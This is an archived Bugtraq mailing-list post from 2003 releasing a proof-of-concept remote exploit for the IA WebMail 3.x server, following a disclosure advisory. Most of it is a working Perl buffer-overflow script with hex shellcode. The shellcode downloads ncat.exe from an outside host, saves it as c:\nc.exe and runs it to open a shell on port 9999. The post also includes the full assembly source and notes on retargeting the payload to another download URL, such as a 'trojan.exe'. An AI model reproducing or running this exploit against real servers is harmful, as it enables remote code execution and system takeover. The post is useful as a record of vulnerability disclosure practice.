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Date: 19 Nov 2003 08:13:00 -0000
From: Peter Winter-Smith <peter4020@...mail.com>
To: bugtraq@...urityfocus.com
Subject: IA WebMail 3.x PoC




Hello all,

As I stated in my advisory I would release a proof of concept code
after a short period of time which the vendor could use to fix this
and any other bugs for the new release. It has now been in excess
of two weeks, and I have been informed that a fix is almost if not
completely ready, so in turn I am releasing my PoC code.

The shellcode I have written specifically to be compact and very
reliable since it imports its addresses from the base of
iaregdll.dll, a module which seems to appear throughout different
versions of the server. Please do not use the shellcode in any
other exploits without prior modification, since I can almost
guarantee that it will fail unless used with iaregdll.dll loaded
into the memory.

Many thanks to you all for all your hard work and for making this
industry what it is!

-Peter Winter-Smith
(Related: http://www.elitehaven.net/iawebmail.txt)

#--------------------------------------------------------------------
#!/usr/bin/perl -w
#
# IA WebMail 3.x (iaregdll.dll version 1.0.0.5) Remote Exploit
# Application Specific Shellcode: URL Downloader
#  - http://www.elitehaven.net/ncat.exe (downloaded)
#  - c:\nc.exe                          (created)
#
# By Peter Winter-Smith [peter4020@...mail.com]
# Shellcode included - will need reassembling to use different
# urls and files etc.
#
# Tested against:
#  - Windows XP Home SP1
#  - Windows 2000 Pro SP4
#
# Shellcode should work each time, since it steals it's addresses
# from the iaregdll.dll module import tables.
# Uses a very static jmp esp in iaregdll.dll - Should work on all
# servers without alteration!
#
# If the remote server is running a firewall, the urldownloader
# will be unable to spawn a shell, so for testing I recommend
# that you close the firewalls, or get another shellcode which
# will deal with this. This exploit is for PoC purposes only :o)
#
# Notes:
#  - WebMailsvr.exe exits without consuming 100% resources in most
#    cases.
#  - This has only been tested with IA WebMail 3.1, however it was
#    designed to exploit all versions.



use IO::Socket;

if(!($ARGV[1]))
{
 print "Usage: iawebmail.pl <victim> <port>\n\n";
 exit;
}

$shellcode =            "\x90\xEB\x3C\x5F\x55\x89\xE5\x81" .
                        "\xC4\xE8\xFF\xFF\xFF\x57\x31\xDB" .
                        "\xB3\x07\xB0\xFF\xFC\xF2\xAE\xFE" .
                        "\x47\xFF\xFE\xCB\x80\xFB\x01\x75" .
                        "\xF4\x5F\x57\x8D\x7F\x0B\x57\x8D" .
                        "\x7F\x13\x57\x8D\x7F\x08\x57\x8D" .
                        "\x7F\x23\x57\x8D\x7F\x09\x47\x57" .
                        "\x8D\x54\x24\x14\x52\xEB\x02\xEB" .
                        "\x52\x89\xD6\xFF\x36\xFF\x15\xDC" .
                        "\x51\x02\x10\x5A\x52\x8D\x72\xFC" .
                        "\xFF\x36\x50\xFF\x15\x14\x52\x02" .
                        "\x10\x5A\x52\x31\xC9\x51\x51\x8D" .
                        "\x72\xF0\xFF\x36\x8D\x72\xF4\xFF" .
                        "\x36\x51\xFF\xD0\x5A\x52\xFF\x72" .
                        "\xEC\xFF\x15\xDC\x51\x02\x10\x5A" .
                        "\x52\x8D\x72\xF8\xFF\x36\x50\xFF" .
                        "\x15\x14\x52\x02\x10\x5A\x52\x31" .
                        "\xC9\x41\x51\x8D\x72\xF0\xFF\x36" .
                        "\xFF\xD0\xCC\xE8\x6B\xFF\xFF\xFF" .
                        "\x55\x52\x4C\x4D\x4F\x4E\x2E\x44" .
                        "\x4C\x4C\xFF\x55\x52\x4C\x44\x6F" .
                        "\x77\x6E\x6C\x6F\x61\x64\x54\x6F" .
                        "\x46\x69\x6C\x65\x41\xFF\x57\x69" .
                        "\x6E\x45\x78\x65\x63\xFF\x68\x74" .
                        "\x74\x70\x3A\x2F\x2F\x77\x77\x77" .
                        "\x2E\x65\x6C\x69\x74\x65\x68\x61" .
                        "\x76\x65\x6E\x2E\x6E\x65\x74\x2F" .
                        "\x6E\x63\x61\x74\x2E\x65\x78\x65" .
                        "\xFF\x63\x3A\x5C\x6E\x63\x2E\x65" .
                        "\x78\x65\xFF\x6B\x65\x72\x6E\x65" .
                        "\x6C\x33\x32\x2E\x64\x6C\x6C\xFF";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Unable to connect to $ARGV[0] on port $ARGV[1]";
$ebp = "BBBB";
$eip = "\x33\xBD\x02\x10";
$exploit = "GET /" . "a"x1036 . $ebp . $eip . $shellcode . " HTTP/1.1\n\n";

print $victim $exploit;

print " + Malicious GET request sent ...\n";
print " + Wait a moment now, then connect to $ARGV[0] on port 9999.\n";
print "Done.\n";

close($victim);
exit;

#####################################################################
##                            SHELLCODE                             #
#####################################################################
# ; IA WebMail 3.x Shellcode (iaregdll.dll version 1.0.0.5)
# ; Url Download + Execute
# ; By Peter Winter-Smith
# ; [peter4020@...mail.com]
# ;
# ; nasmw -fbin -o iashellcode.s iashellcode.asm
#
# bits 32
# 
# int3
# jmp short killnull
# 
# next:
# pop edi
# 
# push ebp
# mov ebp, esp
# add esp, -24
# 
# push edi
# 
# xor ebx, ebx
# mov bl, 07h
# mov al, 0ffh
# 
# cld
# nullify:
# repne scasb
# inc byte [edi-01h]
# dec bl
# cmp bl, 01h
# jne nullify
# 
# pop edi
# 
# push edi		; 'URLMON.DLL'
# lea edi, [edi+11]
# push edi		; 'URLDownloadToFileA'
# lea edi, [edi+19]
# push edi		; 'WinExec'
# lea edi, [edi+08]
# push edi		; 'http://www.elitehaven.net/ncat.exe'
# lea edi, [edi+35]
# push edi		; 'c:\nc.exe'
# lea edi, [edi+09]
# inc edi
# push edi		; 'kernel32.dll'
# 
# lea edx, [esp+20]
# push edx
# 
# jmp short over
# killnull:
# jmp short data
# over:
# 
# mov esi, edx
# push dword [esi]
# 
# call [100251DCh]	; LoadLibraryA
# 
# pop edx
# push edx
# lea esi, [edx-04]
# push dword [esi]
# 
# push eax
# 
# call [10025214h]	; GetProcAddress(URLMON.DLL, URLDownloadToFileA);
# 
# pop edx
# push edx
# 
# xor ecx, ecx
# push ecx
# push ecx
# lea esi, [edx-16]	; file path
# push dword [esi]
# lea esi, [edx-12]	; url
# push dword [esi]
# push ecx
# 
# call eax
# 
# pop edx
# push edx
# 
# push dword [edx-20]
# 
# call [100251DCh]	; LoadLibraryA
# 
# pop edx
# push edx
# 
# 
# lea esi, [edx-08]
# push dword [esi]	; 'WinExec'
# push eax		; kernel32.dll handle
# 
# call [10025214h]	; GetProcAddress(kernel32.dll, WinExec);
# 
# pop edx
# push edx
# 
# xor ecx, ecx
# inc ecx
# push ecx
# 
# lea esi, [edx-16]	; file path
# push dword [esi]
# 
# call eax
# 
# int3
# 
# 
# data:
# call next
# db 'URLMON.DLL',0ffh
# db 'URLDownloadToFileA',0ffh
# db 'WinExec',0ffh
# db 'http://www.elitehaven.net/ncat.exe',0ffh
# ; When altering, you MUST be sure
# ; to also alter the offsets in the 0ffh to null
# ; byte search!
# ; for example:
# ;   db 'http://www.site.com/someguy/trojan.exe',0ffh
# ; count the length of the url, and add one for the 0ffh byte.
# ; The above url is 38 bytes long, plus one for our null, is 39 bytes.
# ; find the code saying (at the start of the shellcode):
# ;   push edi		; 'http://www.elitehaven.net/ncat.exe'
# ;   lea edi, [edi+35]
# ; and make it:
# ;   push edi		; 'http://www.site.com/someguy/trojan.exe'
# ;   lea edi, [edi+39]
# ; same goes for the filename below :o)
# db 'c:\nc.exe',0ffh
# db 'kernel32.dll',0ffh
#####################################################################


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